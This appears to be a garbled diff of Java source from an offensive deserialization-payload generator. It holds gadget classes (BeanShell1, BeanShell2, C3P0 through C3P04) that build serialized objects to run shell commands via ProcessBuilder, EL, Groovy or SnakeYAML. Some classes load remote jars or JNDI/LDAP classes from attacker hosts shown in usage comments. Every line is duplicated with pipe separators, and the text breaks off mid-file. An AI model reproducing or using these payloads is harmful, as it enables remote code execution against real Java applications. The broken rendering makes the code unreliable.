import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Dependencies({"org.beanshell:bsh:2.0b5"})
|
@Dependencies({"org.beanshell:bsh:2.0b5"})
|
||||||
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
||||||
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
|
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
|
||||||
|
|
||||||
public PriorityQueue getObject(String command) throws Exception {
|
public PriorityQueue getObject(String command) throws Exception {
|
||||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||||
Interpreter i = new Interpreter();
|
Interpreter i = new Interpreter();
|
||||||
i.eval(payload);
|
i.eval(payload);
|
||||||
|
|
||||||
XThis xt = new XThis(i.getNameSpace(), i);
|
XThis xt = new XThis(i.getNameSpace(), i);
|
||||||
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
|
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
|
||||||
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||||
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
|
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
|
||||||
Object[] queue = {1, 1};
|
Object[] queue = {1, 1};
|
||||||
|
|
||||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||||
Reflections.setFieldValue(priorityQueue, "size", 2);
|
Reflections.setFieldValue(priorityQueue, "size", 2);
|
||||||
return priorityQueue;
|
return priorityQueue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,50 +1,50 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import bsh.Interpreter;
|
import bsh.Interpreter;
|
||||||
import bsh.NameSpace;
|
import bsh.NameSpace;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||||
|
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Dependencies({"org.beanshell:bsh:2.0b1"})
|
@Dependencies({"org.beanshell:bsh:2.0b1"})
|
||||||
@Authors({Authors.KILLER})
|
@Authors({Authors.KILLER})
|
||||||
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
|
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
|
||||||
|
|
||||||
public PriorityQueue getObject(String command) throws Exception {
|
public PriorityQueue getObject(String command) throws Exception {
|
||||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||||
Interpreter i = new Interpreter();
|
Interpreter i = new Interpreter();
|
||||||
|
|
||||||
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
|
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
|
||||||
setu.setAccessible(true);
|
setu.setAccessible(true);
|
||||||
setu.invoke(i, "bsh.cwd", ".");
|
setu.invoke(i, "bsh.cwd", ".");
|
||||||
i.eval(payload);
|
i.eval(payload);
|
||||||
|
|
||||||
Class<?> xThis = Class.forName("bsh.XThis");
|
Class<?> xThis = Class.forName("bsh.XThis");
|
||||||
Field handlerField = xThis.getDeclaredField("invocationHandler");
|
Field handlerField = xThis.getDeclaredField("invocationHandler");
|
||||||
handlerField.setAccessible(true);
|
handlerField.setAccessible(true);
|
||||||
Constructor<?> xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
|
Constructor<?> xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
|
||||||
xthisDeclaredConstructor.setAccessible(true);
|
xthisDeclaredConstructor.setAccessible(true);
|
||||||
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
|
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
|
||||||
handlerField.setAccessible(true);
|
handlerField.setAccessible(true);
|
||||||
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
|
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
|
||||||
|
|
||||||
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||||
PriorityQueue<Object> queue = new PriorityQueue(2);
|
PriorityQueue<Object> queue = new PriorityQueue(2);
|
||||||
queue.add("1");
|
queue.add("1");
|
||||||
queue.add("2");
|
queue.add("2");
|
||||||
|
|
||||||
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
|
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
|
||||||
field.setAccessible(true);
|
field.setAccessible(true);
|
||||||
field.set(queue, comparator);
|
field.set(queue, comparator);
|
||||||
return queue;
|
return queue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,92 +1,92 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
|
||||||
import javax.naming.Reference;
|
import javax.naming.Reference;
|
||||||
import javax.naming.Referenceable;
|
import javax.naming.Referenceable;
|
||||||
import javax.sql.ConnectionPoolDataSource;
|
import javax.sql.ConnectionPoolDataSource;
|
||||||
import javax.sql.PooledConnection;
|
import javax.sql.PooledConnection;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.util.logging.Logger;
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* com.sun.jndi.rmi.registry.RegistryContext->lookup
|
* com.sun.jndi.rmi.registry.RegistryContext->lookup
|
||||||
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
|
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
|
||||||
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
|
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
|
||||||
* <p>
|
* <p>
|
||||||
* Arguments:
|
* Arguments:
|
||||||
* - base_url:classname
|
* - base_url:classname
|
||||||
* <p>
|
* <p>
|
||||||
* Yields:
|
* Yields:
|
||||||
* - Instantiation of remotely loaded class
|
* - Instantiation of remotely loaded class
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
|
||||||
@Authors({Authors.MBECHLER})
|
@Authors({Authors.MBECHLER})
|
||||||
public class C3P0 implements ObjectPayload<Object> {
|
public class C3P0 implements ObjectPayload<Object> {
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
int sep = command.lastIndexOf(':');
|
int sep = command.lastIndexOf(':');
|
||||||
if (sep < 0) {
|
if (sep < 0) {
|
||||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||||
}
|
}
|
||||||
|
|
||||||
String url = command.substring(0, sep);
|
String url = command.substring(0, sep);
|
||||||
String className = command.substring(sep + 1);
|
String className = command.substring(sep + 1);
|
||||||
|
|
||||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||||
return b;
|
return b;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||||
|
|
||||||
private final String className;
|
private final String className;
|
||||||
|
|
||||||
private final String url;
|
private final String url;
|
||||||
|
|
||||||
public PoolSource(String className, String url) {
|
public PoolSource(String className, String url) {
|
||||||
this.className = className;
|
this.className = className;
|
||||||
this.url = url;
|
this.url = url;
|
||||||
}
|
}
|
||||||
|
|
||||||
public Reference getReference() {
|
public Reference getReference() {
|
||||||
return new Reference("exploit", this.className, this.url);
|
return new Reference("exploit", this.className, this.url);
|
||||||
}
|
}
|
||||||
|
|
||||||
public PrintWriter getLogWriter() {
|
public PrintWriter getLogWriter() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void setLogWriter(PrintWriter out) {
|
public void setLogWriter(PrintWriter out) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public int getLoginTimeout() {
|
public int getLoginTimeout() {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void setLoginTimeout(int seconds) {
|
public void setLoginTimeout(int seconds) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public Logger getParentLogger() {
|
public Logger getParentLogger() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PooledConnection getPooledConnection() {
|
public PooledConnection getPooledConnection() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PooledConnection getPooledConnection(String user, String password) {
|
public PooledConnection getPooledConnection(String user, String password) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,84 +1,84 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.apache.naming.ResourceRef;
|
import org.apache.naming.ResourceRef;
|
||||||
|
|
||||||
import javax.naming.Reference;
|
import javax.naming.Reference;
|
||||||
import javax.naming.Referenceable;
|
import javax.naming.Referenceable;
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
import javax.sql.ConnectionPoolDataSource;
|
import javax.sql.ConnectionPoolDataSource;
|
||||||
import javax.sql.PooledConnection;
|
import javax.sql.PooledConnection;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.util.logging.Logger;
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
|
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
|
||||||
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
|
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
|
||||||
@Authors({Authors.QI4L})
|
@Authors({Authors.QI4L})
|
||||||
public class C3P02 implements ObjectPayload<Object> {
|
public class C3P02 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
if (command.startsWith("LF-")) {
|
if (command.startsWith("LF-")) {
|
||||||
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
|
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
|
||||||
} else {
|
} else {
|
||||||
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
|
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
|
||||||
}
|
}
|
||||||
|
|
||||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||||
return b;
|
return b;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||||
|
|
||||||
private final String cmd;
|
private final String cmd;
|
||||||
|
|
||||||
public PoolSource(String cmd) {
|
public PoolSource(String cmd) {
|
||||||
this.cmd = cmd;
|
this.cmd = cmd;
|
||||||
}
|
}
|
||||||
|
|
||||||
public Reference getReference() {
|
public Reference getReference() {
|
||||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
|
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
|
||||||
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
|
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
|
||||||
return ref;
|
return ref;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PrintWriter getLogWriter() {
|
public PrintWriter getLogWriter() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void setLogWriter(PrintWriter out) {
|
public void setLogWriter(PrintWriter out) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public int getLoginTimeout() {
|
public int getLoginTimeout() {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void setLoginTimeout(int seconds) {
|
public void setLoginTimeout(int seconds) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public Logger getParentLogger() {
|
public Logger getParentLogger() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PooledConnection getPooledConnection() {
|
public PooledConnection getPooledConnection() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PooledConnection getPooledConnection(String user, String password) {
|
public PooledConnection getPooledConnection(String user, String password) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,77 +1,77 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.apache.naming.ResourceRef;
|
import org.apache.naming.ResourceRef;
|
||||||
|
|
||||||
import javax.naming.Reference;
|
import javax.naming.Reference;
|
||||||
import javax.naming.Referenceable;
|
import javax.naming.Referenceable;
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
import javax.sql.ConnectionPoolDataSource;
|
import javax.sql.ConnectionPoolDataSource;
|
||||||
import javax.sql.PooledConnection;
|
import javax.sql.PooledConnection;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.util.logging.Logger;
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 同 C3P0 2 只不过使用了 Groovy
|
* 同 C3P0 2 只不过使用了 Groovy
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
|
||||||
@Authors({Authors.QI4L})
|
@Authors({Authors.QI4L})
|
||||||
public class C3P03 implements ObjectPayload<Object> {
|
public class C3P03 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||||
return b;
|
return b;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||||
|
|
||||||
private final String cmd;
|
private final String cmd;
|
||||||
|
|
||||||
public PoolSource(String cmd) {
|
public PoolSource(String cmd) {
|
||||||
this.cmd = cmd;
|
this.cmd = cmd;
|
||||||
}
|
}
|
||||||
|
|
||||||
public Reference getReference() {
|
public Reference getReference() {
|
||||||
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
|
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
|
||||||
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
|
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
|
||||||
return ref;
|
return ref;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PrintWriter getLogWriter() {
|
public PrintWriter getLogWriter() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void setLogWriter(PrintWriter out) {
|
public void setLogWriter(PrintWriter out) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public int getLoginTimeout() {
|
public int getLoginTimeout() {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void setLoginTimeout(int seconds) {
|
public void setLoginTimeout(int seconds) {
|
||||||
}
|
}
|
||||||
|
|
||||||
public Logger getParentLogger() {
|
public Logger getParentLogger() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PooledConnection getPooledConnection() {
|
public PooledConnection getPooledConnection() {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public PooledConnection getPooledConnection(String user, String password) {
|
public PooledConnection getPooledConnection(String user, String password) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,154 +1,154 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.HexUtils;
|
import com.qi4l.JYso.gadgets.utils.HexUtils;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.apache.naming.ResourceRef;
|
import org.apache.naming.ResourceRef;
|
||||||
|
|
||||||
import javax.naming.Reference;
|
import javax.naming.Reference;
|
||||||
import javax.naming.Referenceable;
|
import javax.naming.Referenceable;
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
import javax.sql.ConnectionPoolDataSource;
|
import javax.sql.ConnectionPoolDataSource;
|
||||||
import javax.sql.PooledConnection;
|
import javax.sql.PooledConnection;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
import java.util.logging.Logger;
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 同上 只不过使用了 snakeyaml
|
* 同上 只不过使用了 snakeyaml
|
||||||
* 加了一些常见的 Gadget,有点套娃的感觉了
|
* 加了一些常见的 Gadget,有点套娃的感觉了
|
||||||
* <p>
|
* <p>
|
||||||
* 用法:
|
* 用法:
|
||||||
* 远程加载 Jar 包
|
* 远程加载 Jar 包
|
||||||
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
|
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
|
||||||
* <p>
|
* <p>
|
||||||
* 向服务器写入 Jar 包并加载(不出网)
|
* 向服务器写入 Jar 包并加载(不出网)
|
||||||
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
|
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
|
||||||
* C3P04 'localJar-./yaml.jar'
|
* C3P04 'localJar-./yaml.jar'
|
||||||
* <p>
|
* <p>
|
||||||
* C3P0 二次反序列化
|
* C3P0 二次反序列化
|
||||||
* C3P04 'c3p0Double-/usr/CC6.ser'
|
* C3P04 'c3p0Double-/usr/CC6.ser'
|
||||||
* <p>
|
* <p>
|
||||||
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
|
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
|
||||||
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
|
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
|
||||||
* C3P04 'jndi-ldap://x.x.x.x/evil'
|
* C3P04 'jndi-ldap://x.x.x.x/evil'
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
|
||||||
@Authors({Authors.QI4L})
|
@Authors({Authors.QI4L})
|
||||||
public class C3P04 implements ObjectPayload<Object> {
|
public class C3P04 implements ObjectPayload<Object> {
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
int sep = command.lastIndexOf('-');
|
int sep = command.lastIndexOf('-');
|
||||||
if (sep < 0) {
|
if (sep < 0) {
|
||||||
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
|
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
|
||||||
}
|
}
|
||||||
|
|
||||||
String[] parts = command.split("-");
|
String[] parts = command.split("-");
|
||||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
|
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
|
||||||
return b;
|
return b;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||||
|
|
||||||
private final String cmd;
|
private final String cmd;
|
||||||
|
|
||||||
private final String type;
|
private final String type;
|
||||||
|
|
||||||
public PoolSource(String type, String cmd) {
|
public PoolSource(String type, String cmd) {
|
||||||
this.type = type;
|
this.type = type;
|
||||||
this.cmd = cmd;
|
this.cmd = cmd;
|
||||||
}
|
}
|
||||||
|
|
||||||
public Reference getReference() {
|
public Reference getReference() {
|
||||||
|
|
||||||
String yaml = "";
|
String yaml = "";
|
||||||
|
|
||||||
switch (type) {
|
switch (type) {
|
||||||
case "remoteJar":
|
case "remoteJar":
|
||||||
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||||
" !!java.net.URLClassLoader [[\n" +
|
" !!java.net.URLClassLoader [[\n" +
|
||||||
" !!java.net.URL [\"" + cmd + "\"]\n" +
|
" !!java.net.URL [\"" + cmd + "\"]\n" +
|
||||||
" ]]\n" +
|
" ]]\n" +
|
||||||
"]";
|
"]";
|
||||||
break;
|
break;
|
||||||
case "localJar":
|
case "localJar":
|
||||||
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
